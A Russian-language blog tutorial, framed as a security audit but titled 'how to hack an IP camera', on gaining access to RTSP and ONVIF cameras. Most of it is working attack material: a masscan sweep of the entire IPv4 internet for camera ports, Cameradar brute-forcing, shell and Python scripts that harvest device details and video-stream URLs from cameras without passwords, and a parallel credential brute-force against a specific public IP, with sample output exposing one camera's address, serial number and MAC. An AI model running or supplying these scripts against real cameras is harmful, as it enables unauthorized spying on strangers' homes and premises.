Аудит безопасности IP камер

Как взломать IP камеру?

Меня попросили настроить камеру (потому что инструкция на английском), это оказалась камера с AliExpress (потому что дёшево) и у меня появилось много замечательных наблюдений. Камера с последней прошивкой от этого года, для неё имеется современное приложение для мобильных телефонов, чтобы зарегистрироваться в приложении нужно придумать логин и сложный пароль, для доступа к камере из приложения также нужно установить пароль. Есть облачный сервис для хранения видео. На камере маркировка IP о защите от воды и пыли. Умеет каким-то хитрым образом сопрягаться с телефоном и получать от него пароль от Wi-Fi будучи подключённой только к розетке. Это с одной стороны.

А с другой стороны, старенькое приложение под Windows ONVIF Device Manager нашло за секунду эту камеру и показало видео с этой камеры и ссылку, по которой видео с этой камеры может смотреть кто угодно простым VLC проигрывателем, конечно же, не вводя никакие пароли. Это не всё, из ONVIF Device Manager можно управлять камерой — поворачивать и прочее. В ONVIF Device Manager есть кнопка обновления прошивки, но я не стал её проверять. Это всё без паролей. И это при том, что родная админка с веб-интерфейсом не открылась ни в одном браузере.

Эта камера дала мне идею написать предыдущую статью «Как обнаружить скрытые камеры» и эту, которую вы сейчас читаете.

Мы познакомимся с программой Cameradar и протоколом ONVIF. А разбор прошивки камеры оставим на статью о криминалистическом исследовании образов дисков и файловых систем (из интересного — простая защита от монтирования (мусор перед настоящей файловой системой) и пароль пользователя root, который некуда вводить, так как к видеопотоку и управлению камера даёт доступ без пароля).

Для многих камер Cameradar показывает производителей — есть шанс пополнить список вендоров для поиска скрытых камер наблюдения. А если камера уязвима по ONVIF протоколу, то можно узнать её MAC-адрес, который тоже подойдёт для инструкции по обнаружению камер.

Что такое и для чего протокол RTSP

Потоковый протокол реального времени (англ. real time streaming protocol, сокр. RTSP) — прикладной протокол, предназначенный для использования в системах, работающих с мультимедийными данными (мультимедийным содержимым, медиасодержимым), и позволяющий удалённо управлять потоком данных с сервера, предоставляя возможность выполнения команд, таких как запуск (старт), приостановку (пауза) и остановку (стоп) вещания (проигрывания) мультимедийного содержимого, а также доступа по времени к файлам, расположенным на сервере.

RTSP не выполняет сжатие, а также не определяет метод инкапсуляции мультимедийных данных и транспортные протоколы. Передача потоковых данных сама по себе не является частью протокола RTSP. Большинство серверов RTSP используют для этого стандартный транспортный протокол реального времени, осуществляющий передачу аудио- и видеоданных.

Протокол RTSP можно найти не только в IP камерах, другие устройства также могут использовать этот протокол для стриминга медиа (видео и аудио).

Для воспроизведения видео по протоколу RTSP нужно знать URL источника, а также логин и пароль.

Пример адреса:

rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1

Некоторые RTSP серверы настроены разрешать доступ к медиапотоку без пароля.

URL адрес медиапотока не является стандартным, устройства присылают его при подключении после авторизации.

Обычно RTSP работает на портах 554, 5554 и 8554.

Видео с IP камер по протоколу RTSP можно открыть в VLC и Mplayer. Как это сделать написано в статье «Как записать видео с IP камеры (RTSP поток)». Там же показано, как записать потоковое видео.

Проигрыватели VLC и Mplayer умеют работать с данным протоколом благодаря утилите openRTSP, более подробную информацию о ней вы найдёте в статье «Инструкция по openRTSP — клиент RTSP для приёма и записи потокового медиа».

Брут-форс RTSP

Как уже было сказано, URI (адрес «страницы») по которому доступен медиапоток различается у разных устройств. То есть если у вас отсутствуют учётные данные для аутентификации по протоколу RTSP, то для получения маршрута (URL) медиапотока вам придётся искать его перебором.

Посмотреть на разнообразие адресов вы можете на странице https://www.ispyconnect.com/sources.aspx.

Программа Cameradar умеет искать адрес источника и подбирать пароль пользователя. Как сказано в описании, Cameradar взламывает RTSP камеры видеонаблюдения.

Cameradar позволяет:

  • Обнаруживать открытые порты RTSP на любом доступном целевом хосте
  • Определять, какая модель устройства ведёт трансляцию
  • Запускать автоматические атаки по словарю, чтобы найти маршрут их потока (например: /live.sdp)
  • Запускать автоматические атаки по словарю, чтобы подобрать имя пользователя и пароль камеры
  • Получать полный и удобный отчёт о результатах

Об установке программы смотрите на странице https://kali.tools/?p=6132

Запуск очень простой:

cameradar -t ХОСТ

Опция "-t, --targets" устанавливает цель. Целью может быть файл со списком хостов или диапазонов сетей, IP-адрес, диапазон IP-адресов, подсеть или их сочетание. Пример: --targets="192.168.1.72,192.168.1.74"

Программа делает множество запросов и если какие-то из них завершаются ошибками, то выводит эти ошибки на экран, в результате чего вывод захламляется, поэтому я предпочитаю добавлять к команде «2>/dev/null».

Примеры удачных запусков:

cameradar -t 201.191.170.250 2>/dev/null

cameradar -t 98.124.38.218 2>/dev/null

Я не нашёл альтернатив Cameradar, поэтому рассказываю о ней, но в целом эта программа мне не очень понравилась. Нестабильные результаты, которые различаются от запуска к запуску на одном и том же хосте, можно объяснить особенностями самих камер, которые являются маломощными, глючными устройствами. Но Cameradar ещё и фантастически медленная. На «сканирование сети» даже если указана одна цель уходит слишком много времени (по умолчанию проверяется всего три порта). В описании программы упоминается «nmap», но это собственная библиотека автора Cameradar, она написана на Go и не имеет к оригинальному сканеру сети Nmap отношения — возможно, это причина такой медлительности.

По причине медлительности, я бы не стал вводить в Cameradar большие диапазоны сетей, так как все результаты программа выводит по завершению работы, если не дождаться завершения, то все результаты будут потеряны.

Просканировать сеть, чтобы собрать цели для Cameradar, можно, например, с помощью Masscan:

sudo masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts --rate 200 -p 554,5554,8554 --output-filename cameras.xml

Следующие команды создают директорию «camera» и отфильтровывают все IP адреса из файлов вида cameras*.xml в файл camera/hosts.txt.

mkdir camera
cat cameras*.xml | grep -o -E '[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}\.[0-9]{1,}' | sort | uniq > camera/hosts.txt

Подсчёт количества IP адресов, на которых открыт хотя бы один порт из 554, 5554 и 855.

cat camera/hosts.txt | wc -l
10955

Cameradar потребляет минимум ресурсов, поэтому проверку камер можно запустить в несколько потоков с помощью Interlace:

cd camera
mkdir results
interlace -tL ./hosts.txt -threads 20 -c "cameradar -t _target_ 2>/dev/null >results/_target_-cameradar.txt" -v

Если в файле hosts.txt слишком много хостов, то их можно разбить на файлы с помощью команды split:

split -l 1000 hosts.txt

Связанная статья: Как разбить большой файл (текстовый или бинарный) на файлы меньшего размера

Для поиска успешных результатов можно использовать команды:

cd results
cat * | grep -E -H 'Successful' *
cat ` grep -E -H 'require' * | grep -o -E '^[a-z0-9.-]+'`
cat * | grep -E -H 'Device RTSP URL' *

cat * | grep -E -H '✔' *

Эта команда составит список моделей:

cat * | grep 'Device model' | sort | uniq

Взлом камер через протокол ONVIF

В статье «Что такое HNAP, как найти и эксплуатировать роутеры с HNAP» мы разбирались (как можно догадаться по названию) с протоколом HNAP. Это протокол для управления сетевыми устройствами, например, роутерами. На некоторых устройствах из-за небрежности реализации этот протокол принимает команды без пароля.


Вы не поверите, но точно такая же ситуация с IP камерами — встречаются модели, которые управляются с помощью протокола ONVIF, а в этом протоколе тоже управление происходит с помощью отправки простого текста в формате XML, и тоже встречаются камеры, которые позволяют выполнять команды без пароля. И ONVIF тоже сложно или даже невозможно отключить.

Причём если HNAP уже давно не встречается на новых роутерах, то ONVIF используется до сих пор.

Именно этим способом программа ONVIF Device Manager смогла получить доступ к настройкам и видеопотоку.

Чтобы разобраться, как работает ONVIF Device Manager, во время работы этой программы я запустил Wireshark для сбора сетевого трафика. Анализ показал, что получение общей информации об устройстве выполняется совсем просто. Методом POST отправляется XML с запросом.

Содержимое файла GetCapabilities.xml:

    <s:Envelope
        xmlns:s="http://www.w3.org/2003/05/soap-envelope">
        <s:Body
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <GetCapabilities
                xmlns="http://www.onvif.org/ver10/device/wsdl">
                <Category>
                    All
                    </Category>
                </GetCapabilities>
            </s:Body>
        </s:Envelope>

Для отправки запроса можно использовать cURL:

curl -s 192.168.0.167:8899/onvif/device_service -d @GetCapabilities.xml | grep -i -E 'GetCapabilitiesResponse' | xmllint --format -

Если получен длинный вывод в разметке XML, то значит на данном устройстве имеется поддержка протокола ONVIF.

У ONVIF нет стандартного порта, обычно этот протокол встречается на портах 8899, 80, 8080, 5000, 6688.

Получение URL медиа потока происходит в несколько этапов, поэтому чтобы не возиться с cURL и .xml файлами я решил воспользоваться готовым решением. Первое, что мне попалось (из того, что заработало), это python-onvif — Реализация клиента ONVIF на Python.

Для установки выполните:

sudo pip3 install --upgrade onvif_zeep

Создайте файл extractor.py со следующим содержимым:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv[3]

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv[4] 		

mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

resp = mycam.devicemgmt.GetNetworkInterfaces()
print (str(resp))

media_service = mycam.create_media_service()
profiles = media_service.GetProfiles()
token = profiles[0].token

mycam = media_service.create_type('GetStreamUri')
mycam.ProfileToken = token
mycam.StreamSetup = {'Stream': 'RTP-Unicast', 'Transport': {'Protocol': 'RTSP'}}
print(media_service.GetStreamUri(mycam))

Обратите внимание на строку

/usr/local/lib/python3.9/site-packages/wsdl/

Вам нужно заменить её на ваше собственное значение. Эта строка подойдёт для Kali Linux. А в BlackArch/Arch Linux нужно использовать следующую строку:

/usr/lib/python3.9/site-packages/wsdl/

При изменении версии Python, строка также может измениться.

Путь до неё можно узнать по следующему алгоритму:

sudo updatedb # Обновляем информацию о файлах
locate accesscontrol.wsdl # Ищем файл, который находится в нужной директории

К примеру найдено:

/usr/local/lib/python3.9/site-packages/wsdl/accesscontrol.wsdl

Берём всю строку, кроме имени файла, то есть /usr/local/lib/python3.9/site-packages/wsdl/.

Запускать так:

python3 extractor.py ХОСТ ПОРТ

Скрипт делает три отдельных запроса и выводит три группы данных: информацию об устройстве, о сетевых интерфейсах и о медиа потоке.

Пример запуска:

python3 extractor.py 118.39.210.69 80

Пример вывода:

{
    'Manufacturer': 'BOSCH',
    'Model': 'AUTODOME IP starlight 7000 HD',
    'FirmwareVersion': '25500593',
    'SerialNumber': '044123455',
    'HardwareId': 'F0004D43'
}
[{
    'Enabled': True,
    'Info': {
        'Name': 'Network Interface 1',
        'HwAddress': '00-07-5f-8b-5d-2b',
        'MTU': 1514
    },
    'Link': {
        'AdminSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'OperSettings': {
            'AutoNegotiation': True,
            'Speed': 100,
            'Duplex': 'Full'
        },
        'InterfaceType': 6
    },
    'IPv4': {
        'Enabled': True,
        'Config': {
            'Manual': [],
            'LinkLocal': None,
            'FromDHCP': {
                'Address': '118.39.210.69',
                'PrefixLength': 24
            },
            'DHCP': True,
            '_value_1': None,
            '_attr_1': None
        }
    },
    'IPv6': None,
    'Extension': None,
    'token': '1',
    '_attr_1': {
}
}]
{
    'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1',
    'InvalidAfterConnect': False,
    'InvalidAfterReboot': True,
    'Timeout': datetime.timedelta(0),
    '_value_1': None,
    '_attr_1': None
}

Производитель, MAC-адрес, URI видео:

    'Manufacturer': 'BOSCH',
        'HwAddress': '00-07-5f-8b-5d-2b',
    'Uri': 'rtsp://118.39.210.69/rtsp_tunnel?h26x=4&line=1&inst=1',

Стоит обратить внимание, что в URI обычно указывается локальный IP адрес. Иногда в URI может быть пропущен порт (всегда для 80-го порта, иногда для других портов).

Поиск камер без пароля в ONVIF

Чтобы автоматизировать процесс выявления камер у которых для управления по протоколу ONVIF не установлен пароль, я написал небольшой скрипт.

Файл checker.sh:

#!/bin/bash

line=$1

GetCapabilities=`cat <<_EOF_
    <s:Envelope
        xmlns:s="http://www.w3.org/2003/05/soap-envelope">
        <s:Body
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema">
            <GetCapabilities
                xmlns="http://www.onvif.org/ver10/device/wsdl">
                <Category>
                    All
                    </Category>
                </GetCapabilities>
            </s:Body>
        </s:Envelope>
_EOF_`

result=`timeout 5 curl -s $line:8899/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result2=`timeout 5 curl -s $line:80/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result3=`timeout 5 curl -s $line:8080/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result4=`timeout 5 curl -s $line:5000/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 
result5=`timeout 5 curl -s $line:6688/onvif/device_service -d "$GetCapabilities" | grep -i -E 'GetCapabilitiesResponse' | xmllint --format - 2>/dev/null | grep -i -E -v 'parser error'`; 

if [ "$result" ]; then
	echo "Found: $line:8899";
	response=`python extractor.py $line 8899 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result2" ]; then
	echo "Found: $line:80";
	response=`python extractor.py $line 80 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result3" ]; then
	echo "Found: $line:8080";
	response=`python extractor.py $line 8080 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi
	
if [ "$result4" ]; then
	echo "Found: $line:5000";
	response=`python extractor.py $line 5000 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

if [ "$result5" ]; then
	echo "Found: $line:6688";
	response=`python extractor.py $line 6688 2>/dev/null | sed -E "s/\/\/.+:/\/\/$line:/"`
	if [ "$response" ]; then
		echo "$response" > results/$line.txt
	fi
fi

В той же папке где checker.sh также должен находится рассмотренный ранее файл extractor.py. Ещё создайте папку «results» для сохранения результатов.

Запускать так:

bash checker.sh IP_АДРЕС

Этот скрипт проверит пять портов на предмет того, запущена ли служба протокола ONVIF. Если служба будет найдена, то скрипт попытается получить информацию об устройстве с помощью extractor.py. Если это тоже завершится успехом, то полученные данные будут сохранены в папку «results».

Скрипт можно запускать для проверки одного хоста или для проверки множества в несколько потоков. Пример, в котором IP адреса берутся из файла hosts.txt и запускается проверка в 20 потоков:

parallel -j20 -a hosts.txt 'bash checker.sh {1}'

Связанная статья: Руководство по использованию GNU Parallel

Ещё один пример:

parallel -j200 'bash checker.sh 172.{3}.{1}.{2}' ::: {1..255} ::: {1..255} ::: {16..31}

Для поиска успешных результатов можно использовать команды:

cd results
cat * | grep -E -H -i 'Uri' *
cat * | grep -E -H 'HwAddress' *
cat * | grep -E -H 'Manufacturer' *

Эта команда составит список моделей:

cat * | grep 'Model' | sort | uniq

Брут-форс камер через ONVIF

Для некоторых хостов скрипт extractor.py будет выдавать примерно следующие ошибки:

zeep.exceptions.Fault: Sender not Authorized
During handling of the above exception, another exception occurred:
onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized

Они означают, что пустые логин и пароль не подходят и нужно указать действительные учётные данные.

Используя это можно написать скрипты для брут-форса учётных данных IP камер. Преимущество этого метода по сравнению с Cameradar в том, что не нужно искать URI медиа потока.

Создадим файл bruteforcer.py и скопируем в него:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv[3]

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv[4] 		

mycam = ONVIFCamera(sys.argv[1], sys.argv[2], user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

На самом деле, это упрощённый вариант скрипта extractor.py — чтобы понять, что учётные данные неправильные, нам не нужно делать три запроса, достаточно одного.

Пример запуска:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ

Если к команде добавить «2>/dev/null», то мы не увидим ошибки — в случае успешной аутентификации будут выведены только данные об устройстве:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null

Пример брут-форса логина и пароля IP камеры с помощью Parallel:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'

Заключение

Протокол ONVIF позволяет не только просматривать информацию о свойствах камеры, но и управлять ей — поворачивать, менять настройки и прочее.

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован.